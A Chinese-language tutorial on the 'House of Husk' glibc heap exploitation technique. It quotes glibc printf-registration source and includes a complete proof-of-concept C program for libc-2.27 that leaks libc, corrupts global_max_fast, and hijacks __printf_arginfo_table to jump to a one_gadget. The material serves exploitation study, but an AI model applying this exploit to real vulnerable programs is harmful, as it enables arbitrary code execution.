House Of Husk
这种攻击方式是一种利用了printf
调用链的攻击方式,应用在只能进行大堆块分配(超过fastbin
),存在或者能够构造出UAF
漏洞。
libc
中存在__register_printf_function
函数,如下
// stdio-common/reg-printf.c
int
__register_printf_specifier (int spec, printf_function converter,
printf_arginfo_size_function arginfo)
{
if (spec < 0 || spec > (int) UCHAR_MAX)
{
__set_errno (EINVAL);
return -1;
}
int result = 0;
__libc_lock_lock (lock);
if (__printf_function_table == NULL)
{
__printf_arginfo_table = (printf_arginfo_size_function **)
calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
if (__printf_arginfo_table == NULL)
{
result = -1;
goto out;
}
__printf_function_table = (printf_function **)
(__printf_arginfo_table + UCHAR_MAX + 1);
}
__printf_function_table[spec] = converter;
__printf_arginfo_table[spec] = arginfo;
out:
__libc_lock_unlock (lock);
return result;
}
libc_hidden_def (__register_printf_specifier)
weak_alias (__register_printf_specifier, register_printf_specifier)
/* Register FUNC to be called to format SPEC specifiers. */
int
__register_printf_function (int spec, printf_function converter,
printf_arginfo_function arginfo)
{
return __register_printf_specifier (spec, converter,
(printf_arginfo_size_function*) arginfo);
}
weak_alias (__register_printf_function, register_printf_function)
函数的功能是为每一个字符spec
创建一个相应的输出处理函数,可以看到函数首先判断了spec
是否大于0xff
即是否为ASCII
,接着如果__printf_function_table
不存在的话则为__printf_function_table,__printf_arginfo_table
创建0x100
大小的空间,将table
中相应位置的printf_function
函数指针赋值为arginfo,coverter
。即完成了一次对spec
字符的指定输出处理函数的创建。
那么在printf
函数或者具有格式化字符串处理功能的函数中中,如果检测到__printf_function_table
函数表不为空的话,就会进入慢路径即do_positional
,
// stdio-common/vfprintf.c
//printf 调用链 printf->vprintf->vfprintf
if (__glibc_unlikely (__printf_function_table != NULL
|| __printf_modifier_table != NULL
|| __printf_va_arg_table != NULL))
goto do_positional;
...
do_positional:
if (__glibc_unlikely (workstart != NULL))
{
free (workstart);
workstart = NULL;
}
done = printf_positional (s, format, readonly_format, ap, &ap_save,
done, nspecs_done, lead_str_end, work_buffer,
save_errno, grouping, thousands_sep);
慢路径中调用了printf_positional
函数来对当前字符进行输出处理,该函数进一步调用了__parse_one_specmb
函数,在该函数中即对当前字符进行了解析。
if (__builtin_expect (__printf_function_table == NULL, 1)
|| spec->info.spec > UCHAR_MAX
|| __printf_arginfo_table[spec->info.spec] == NULL
/* We don't try to get the types for all arguments if the format
uses more than one. The normal case is covered though. If
the call returns -1 we continue with the normal specifiers. */
|| (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
(&spec->info, 1, &spec->data_arg_type,
&spec->size)) < 0)
那么如果我们覆盖了__printf_function_table,__printf_arginfo_table
这两个函数表,那么在printf
函数进行格式化字符串解析的时候就会调用我们预期的函数。
/**
* Husk's method - House of Husk
* This PoC is supposed to be run with libc-2.27
*/
#include <stdio.h>
#include <stdlib.h>
#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA 0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST 0x3ed940
#define PRINTF_FUNCTABLE 0x3f0658
#define PRINTF_ARGINFO 0x3ec870
#define ONE_GADGET 0x10a38c
int main (void)
{
unsigned long libc_base;
char *a[10];
setbuf(stdin, NULL);
setbuf(stdout, NULL); // make printf quiet
/* leak libc */
a[0] = malloc(0x500); /* UAF chunk */
a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
a[3] = malloc(0x500); /* avoid consolidation */
free(a[0]);
libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
printf("libc @ 0x%lx\\\\n", libc_base);
/* prepare fake printf arginfo table */
*(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
/* unsorted bin attack */
*(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
a[0] = malloc(0x500); /* overwrite global_max_fast */
/* overwrite __printf_arginfo_table */
free(a[1]);
free(a[2]);
/* ignite! */
getchar();
printf("%X", 0);
return 0;
}
我们知道当fastbin
链表中存在堆块的时候,堆块的地址会存储在main_arena
附近的位置,当我们利用unsorted bin attack
将global_max_fast
更改为一个较大的数值的时候,所有的堆块都将存储在main_arena
附近的位置,但是由于fastbin
链表中的位置有限,因此会造成溢出,可以向高地址的任意位置写入一个高地址。位置(与main_arena
的偏移)与释放的堆块的大小如下
chunk_size = offset*2 - 0x10
这样上述的POC
的逻辑就很清楚了,首先利用UAF
构造unsorted bin attack
将global_max_fast
改写为一个较大的数值,接着申请两个特定大小的堆块,使得释放的时候可以直接覆盖_printf_function_table,_printf_arginfo_table
两个表的地址。在_printf_arginfo_table
表的特定位置(需要根据格式化字符串的字符确定,如果字符为x
那么位置就是table[(ord('x')-1)]
)布置好我们需要调用的函数指针,接着释放两个堆块,则在进行格式化字符串输出的时候,就会调用相应的函数。